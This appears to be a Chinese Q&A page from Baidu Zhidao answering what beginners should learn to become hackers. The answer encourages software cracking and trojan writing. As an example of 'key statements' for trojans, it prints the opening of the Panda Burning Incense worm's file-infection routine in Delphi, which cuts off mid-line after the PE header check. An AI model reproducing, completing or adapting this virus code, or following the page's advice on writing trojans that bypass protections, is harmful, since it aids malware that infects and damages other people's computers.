黑客最基础的应该学什么

来源:百度知道 编辑:UC知道 时间:2024/05/31 18:01:31
在学习黑客之前,应该掌握些什么东西

黑客分很多种

想要攻击(骇客),就得先学安全,碰到病毒杀不掉要学会手工解决,不要动不动就格系统

想学破解(cracker),就要学汇编和编程,至少要会用winhex,至少能破解一般没有加密并且能进行明文对比注册码的软件

想学制作木马,就要懂CPU和各种软件,并且还要精通编程,用尽量少的语句绕过安全防护,编出功能强大的木马,如熊猫烧香的关键语句:
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; /